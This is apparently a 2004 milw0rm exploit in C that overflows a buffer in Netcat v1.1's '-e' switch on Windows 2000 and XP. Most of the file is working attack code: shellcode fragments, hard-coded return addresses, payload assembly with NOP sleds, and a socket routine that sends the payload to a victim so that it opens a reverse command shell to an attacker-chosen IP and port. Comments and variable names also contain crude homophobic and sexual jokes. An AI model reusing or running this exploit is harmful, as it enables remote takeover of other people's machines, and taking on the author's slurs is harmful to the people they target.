jne short LookupFunctions
;//bmoore
nop
nop
nop
nop
nop
nop
;//class101
Done_Finding:
xchg eax,ebp
call [EDI - 10h]
xor ecx,ecx
push ecx
push ecx
push ecx
push ecx
inc ecx
push ecx
inc ecx
push ecx
call [EDI - 08h]
xchg ecx,edi
pop edi
add edi,18h
stosd
stosd
stosd
dec ebx
dec byte ptr [ebx]
dec ebx
push ebx
push ebx
push eax
call [ecx - 0ch]
mov eax,1656E64h
sub eax,01010101h
push eax
push esp
call ebp
nop
call WSACleanup
codeend:
end start
;//bmoore
---------EOF
*/
static char payload[1000];
char jmpebx[]="\x73\x1c\x57\x7c"; file://JMP EBX - kernel32.dll - Win2k SP4 Server,Pro English
char popopret[]="\xb1\x2c\xc2\x77"; file://POP,POP,RET - msvcrt.dll - WinXP SP2,SP1a,SP1 Pro English - I finally found out XP exploitation ;<
char jmp1[]="\xeb\x07\x90"; file://JMP 9 bytes down
char jmp2[]="\x90\x90\x90\xe9\x07\xff\xff\xff"; file://long JMP up
char gay[]="\x4b\x2d\x4f\x54\x69\x4b"; file://giving bl0wjob for free :>
#ifdef WIN32
WSADATA wsadata;
#endif
void ver();
void usage(char* us);
int main(int argc,char *argv[])
{
ver();
unsigned long gip;
unsigned short gport;
if ((argc!=6)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;}
#ifndef WIN32
gip=inet_addr(argv[4])^(long)0x00000000;
gport=htons(atoi(argv[5]))^(short)0x0000;
#define Sleep sleep
#define SOCKET int
#define closesocket(s) close(s)
#else
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");return -1;}
gip=inet_addr(argv[4])^(ULONG)0x00000000;
gport=htons(atoi(argv[5]))^(USHORT)0x0000;
#endif
int ip=htonl(inet_addr(argv[2])), port=atoi(argv[3]), sz, sizeA, sizeB, sizeC, c, b, a;
char *target, *os;
memcpy(&scode[6], &gip, 4);
memcpy(&scode[4], &gport, 2);
if (atoi(argv[1]) == 1){target=jmpebx;os="Win2k SP4 Server English\n[+] Win2k SP4 Pro. English";}
if (atoi(argv[1]) == 2){target=popopret;os="WinXP SP2 Pro. English\n[+] WinXP SP1a Pro. English\n[+] WinXP SP1 Pro. English";}
SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
s=socket(AF_INET,SOCK_STREAM,0);
if (s==-1){printf("[+] socket() error\n");return -1;}
printf("[+] target(s): %s\n",os);
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ip);
server.sin_port=htons(port);
connect(s,( struct sockaddr *)&server,sizeof(server));
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
switch(select(s+1,NULL,&mask,NULL,&timeout))
{
case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
case 0: {printf("[+] connect() error\n");closesocket(s);return -1;}
default:
if(FD_ISSET(s,&mask))
{
printf("[+] connected, constructing the payload...\n");
#ifdef WIN32
Sleep(2000);
#else
Sleep(2);
#endif
sizeA=10;
sizeB=228-sizeof(scode);
sizeC=25;
sz=10+227+3+4+8+25;
memset(payload,0,sizeof(payload));
for (a=0;a<sizeA;a++){strcat(payload,"\x90");}
strcat(payload,scode);
for (b=0;b<sizeB;b++){strcat(payload,"\x90");}
strcat(payload,jmp1);
strcat(payload,target);
strcat(payload,jmp2);
for (c=0;c<sizeC;c++){strcat(payload,"\x90");}
if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error, the server prolly rebooted.\n");return -1;}
#ifdef WIN32
Sleep(1000);
#else
Sleep(1);
#endif
printf("[+] size of payload: %d\n",sz);
printf("[+] payload send, look at your listener, you should get a shell\n");
return 0;
}
}
closesocket(s);
#ifdef WIN32
WSACleanup();
#endif
return 0;
}
void usage(char* us)
{
printf("USAGE: 101_ncat.exe Target VulnIP VulnPORT GayIP GayPORT\n");
printf("TARGETS: \n");
printf(" [+] 1. Win2k SP4 Server English (*)\n");
printf(" [+] 1. Win2k SP4 Pro. English (*)\n");
printf(" [+] 2. WinXP SP1 Pro. English (*)\n");
printf(" [+] 2. WinXP SP1a Pro. English (*)\n");
printf(" [+] 2. WinXP SP2 Pro. English (*)\n");
printf("NOTE: \n");
printf(" The exploit reverse a cmd to GayIP:GayPORT :>\n");
printf(" A wildcard (*) mean Tested.\n");
return;
}
void ver()
{
printf(" \n");
printf(" ===================================================[v0.1]====\n");
printf(" ==========Netcat v1.1, The TCP/IP Swiss Army Knife===========\n");
printf(" =========\"-e\" Switch, Remote Buffer Overflow Exploit=========\n");
printf(" ======coded by class101=============[Hat-Squad.com 2004]=====\n");
printf(" =============================================================\n");
printf(" \n");
}
// milw0rm.com [2004-12-26]